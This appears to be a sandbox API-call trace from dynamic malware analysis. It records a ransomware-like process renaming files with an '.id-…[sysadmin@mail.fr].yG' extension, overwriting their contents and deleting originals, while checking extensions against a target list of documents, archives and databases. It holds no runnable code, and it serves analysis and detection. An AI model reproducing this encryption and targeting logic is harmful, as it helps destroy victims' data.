	[0044.713] WriteFile (in: hFile=0x2f4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x17760, lpOverlapped=0x0) returned 1
	[0044.715] ReadFile (in: hFile=0x300, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.715] WriteFile (in: hFile=0x2f4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf4, lpOverlapped=0x0) returned 1
	[0044.715] SetEndOfFile (hFile=0x2f4) returned 1
	[0044.715] CloseHandle (hObject=0x2f4) returned 1
	[0044.717] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.717] SetEndOfFile (hFile=0x300) returned 1
	[0044.718] CloseHandle (hObject=0x300) returned 1
	[0044.718] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.718] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1
	[0044.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.719] lstrlenW (lpString=".doc") returned 4
	[0044.719] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0044.719] lstrlenW (lpString=".docx") returned 5
	[0044.719] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0044.719] lstrlenW (lpString=".pdf") returned 4
	[0044.719] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0044.719] lstrlenW (lpString=".xls") returned 4
	[0044.719] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0044.719] lstrlenW (lpString=".xlsx") returned 5
	[0044.719] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0044.719] lstrlenW (lpString=".ppt") returned 4
	[0044.719] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0044.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.719] lstrlenW (lpString=".zip") returned 4
	[0044.719] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0044.719] lstrlenW (lpString=".rar") returned 4
	[0044.719] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0044.719] lstrlenW (lpString=".bz2") returned 4
	[0044.719] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0044.719] lstrlenW (lpString=".7z") returned 3
	[0044.719] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0044.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.719] lstrlenW (lpString=".dbf") returned 4
	[0044.719] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0044.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.719] lstrlenW (lpString=".1cd") returned 4
	[0044.719] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0044.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.719] lstrlenW (lpString=".jpg") returned 4
	[0044.719] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0044.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.720] lstrlenW (lpString=".doc") returned 4
	[0044.720] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0044.720] lstrlenW (lpString=".docx") returned 5
	[0044.720] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0044.720] lstrlenW (lpString=".pdf") returned 4
	[0044.720] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0044.720] lstrlenW (lpString=".xls") returned 4
	[0044.720] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0044.720] lstrlenW (lpString=".xlsx") returned 5
	[0044.720] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0044.720] lstrlenW (lpString=".ppt") returned 4
	[0044.720] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0044.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.720] lstrlenW (lpString=".zip") returned 4
	[0044.720] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0044.720] lstrlenW (lpString=".rar") returned 4
	[0044.720] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0044.720] lstrlenW (lpString=".bz2") returned 4
	[0044.720] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0044.720] lstrlenW (lpString=".7z") returned 3
	[0044.720] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0044.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.720] lstrlenW (lpString=".dbf") returned 4
	[0044.720] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0044.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.720] lstrlenW (lpString=".1cd") returned 4
	[0044.720] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0044.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0044.720] lstrlenW (lpString=".jpg") returned 4
	[0044.720] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0044.720] lstrcmpiW (lpString1=".msu", lpString2=".yG") returned -1
	[0044.721] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33
	[0044.721] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.734] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=5198099) returned 1
	[0044.734] CloseHandle (hObject=0x2ec) returned 1
	[0044.734] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80
	[0044.735] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.735] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0044.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.742] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0x0) returned 1
	[0044.742] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0044.742] ReadFile (in: hFile=0x2ec, lpBuffer=0x4064058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x4064058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0044.755] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0044.755] ReadFile (in: hFile=0x2ec, lpBuffer=0x40a4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x40a4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0045.086] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0045.086] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0045.086] ReadFile (in: hFile=0x2ec, lpBuffer=0x40e4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x40e4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0045.188] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.188] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x33afca8, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0045.244] SetEndOfFile (hFile=0x2ec) returned 1
	[0045.245] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0045.328] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.328] WriteFile (in: hFile=0x2ec, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.329] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.329] WriteFile (in: hFile=0x2ec, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.437] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.437] WriteFile (in: hFile=0x2ec, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.439] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0045.439] CloseHandle (hObject=0x2ec) returned 1
	[0046.194] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0046.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.195] lstrlenW (lpString=".doc") returned 4
	[0046.195] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.195] lstrlenW (lpString=".docx") returned 5
	[0046.195] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0046.195] lstrlenW (lpString=".pdf") returned 4
	[0046.195] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.195] lstrlenW (lpString=".xls") returned 4
	[0046.195] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.195] lstrlenW (lpString=".xlsx") returned 5
	[0046.195] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0046.195] lstrlenW (lpString=".ppt") returned 4
	[0046.195] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.195] lstrlenW (lpString=".zip") returned 4
	[0046.195] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.195] lstrlenW (lpString=".rar") returned 4
	[0046.195] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.195] lstrlenW (lpString=".bz2") returned 4
	[0046.195] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.195] lstrlenW (lpString=".7z") returned 3
	[0046.195] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.195] lstrlenW (lpString=".dbf") returned 4
	[0046.195] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.195] lstrlenW (lpString=".1cd") returned 4
	[0046.195] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.196] lstrlenW (lpString=".jpg") returned 4
	[0046.196] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.196] lstrlenW (lpString=".doc") returned 4
	[0046.196] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.196] lstrlenW (lpString=".docx") returned 5
	[0046.196] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0046.196] lstrlenW (lpString=".pdf") returned 4
	[0046.196] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.196] lstrlenW (lpString=".xls") returned 4
	[0046.196] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.196] lstrlenW (lpString=".xlsx") returned 5
	[0046.196] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0046.196] lstrlenW (lpString=".ppt") returned 4
	[0046.196] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.196] lstrlenW (lpString=".zip") returned 4
	[0046.196] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.196] lstrlenW (lpString=".rar") returned 4
	[0046.196] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.196] lstrlenW (lpString=".bz2") returned 4
	[0046.196] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.196] lstrlenW (lpString=".7z") returned 3
	[0046.196] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.196] lstrlenW (lpString=".dbf") returned 4
	[0046.196] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.196] lstrlenW (lpString=".1cd") returned 4
	[0046.196] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0046.196] lstrlenW (lpString=".jpg") returned 4
	[0046.196] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.197] lstrlenW (lpString="BCD") returned 3
	[0046.197] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.197] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.197] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.197] lstrlenW (lpString=".doc") returned 4
	[0046.197] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".docx") returned 5
	[0046.197] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".pdf") returned 4
	[0046.197] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".xls") returned 4
	[0046.197] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".xlsx") returned 5
	[0046.197] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".ppt") returned 4
	[0046.197] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.197] lstrlenW (lpString=".zip") returned 4
	[0046.197] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".rar") returned 4
	[0046.197] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".bz2") returned 4
	[0046.197] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString=".7z") returned 3
	[0046.197] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0046.197] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.197] lstrlenW (lpString=".dbf") returned 4
	[0046.197] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.197] lstrlenW (lpString=".1cd") returned 4
	[0046.197] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0046.197] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.198] lstrlenW (lpString=".jpg") returned 4
	[0046.198] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.198] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.198] lstrlenW (lpString=".doc") returned 4
	[0046.198] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".docx") returned 5
	[0046.198] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".pdf") returned 4
	[0046.198] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".xls") returned 4
	[0046.198] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".xlsx") returned 5
	[0046.198] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".ppt") returned 4
	[0046.198] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.198] lstrlenW (lpString=".zip") returned 4
	[0046.198] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".rar") returned 4
	[0046.198] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".bz2") returned 4
	[0046.198] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString=".7z") returned 3
	[0046.198] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0046.198] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.198] lstrlenW (lpString=".dbf") returned 4
	[0046.198] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.198] lstrlenW (lpString=".1cd") returned 4
	[0046.198] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0046.198] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0046.198] lstrlenW (lpString=".jpg") returned 4
	[0046.198] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0046.199] lstrcmpiW (lpString1=".LOG1", lpString2=".yG") returned -1
	[0046.199] lstrlenW (lpString="BCD.LOG1") returned 8
	[0046.199] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.199] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=0) returned 1
	[0046.199] CloseHandle (hObject=0x2ec) returned 1
	[0046.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.199] lstrlenW (lpString=".doc") returned 4
	[0046.199] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0046.199] lstrlenW (lpString=".docx") returned 5
	[0046.199] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0046.199] lstrlenW (lpString=".pdf") returned 4
	[0046.199] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0046.199] lstrlenW (lpString=".xls") returned 4
	[0046.199] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0046.199] lstrlenW (lpString=".xlsx") returned 5
	[0046.199] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0046.199] lstrlenW (lpString=".ppt") returned 4
	[0046.199] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0046.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.199] lstrlenW (lpString=".zip") returned 4
	[0046.199] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0046.199] lstrlenW (lpString=".rar") returned 4
	[0046.199] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0046.199] lstrlenW (lpString=".bz2") returned 4
	[0046.199] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString=".7z") returned 3
	[0046.200] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0046.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.200] lstrlenW (lpString=".dbf") returned 4
	[0046.200] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.200] lstrlenW (lpString=".1cd") returned 4
	[0046.200] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.200] lstrlenW (lpString=".jpg") returned 4
	[0046.200] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.200] lstrlenW (lpString=".doc") returned 4
	[0046.200] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString=".docx") returned 5
	[0046.200] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0046.200] lstrlenW (lpString=".pdf") returned 4
	[0046.200] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString=".xls") returned 4
	[0046.200] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString=".xlsx") returned 5
	[0046.200] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0046.200] lstrlenW (lpString=".ppt") returned 4
	[0046.200] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.200] lstrlenW (lpString=".zip") returned 4
	[0046.200] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString=".rar") returned 4
	[0046.200] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString=".bz2") returned 4
	[0046.200] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0046.200] lstrlenW (lpString=".7z") returned 3
	[0046.200] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0046.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.200] lstrlenW (lpString=".dbf") returned 4
	[0046.201] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0046.201] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.201] lstrlenW (lpString=".1cd") returned 4
	[0046.201] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0046.201] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0046.201] lstrlenW (lpString=".jpg") returned 4
	[0046.201] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0046.201] lstrcmpiW (lpString1=".LOG2", lpString2=".yG") returned -1
	[0046.201] lstrlenW (lpString="BCD.LOG2") returned 8
	[0046.201] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.201] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=0) returned 1
	[0046.201] CloseHandle (hObject=0x2ec) returned 1
	[0046.201] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.201] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.201] lstrlenW (lpString=".doc") returned 4
	[0046.201] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0046.201] lstrlenW (lpString=".docx") returned 5
	[0046.201] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0046.201] lstrlenW (lpString=".pdf") returned 4
	[0046.201] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0046.201] lstrlenW (lpString=".xls") returned 4
	[0046.201] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0046.201] lstrlenW (lpString=".xlsx") returned 5
	[0046.201] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0046.201] lstrlenW (lpString=".ppt") returned 4
	[0046.201] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0046.202] lstrlenW (lpString=".zip") returned 4
	[0046.202] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0046.202] lstrlenW (lpString=".rar") returned 4
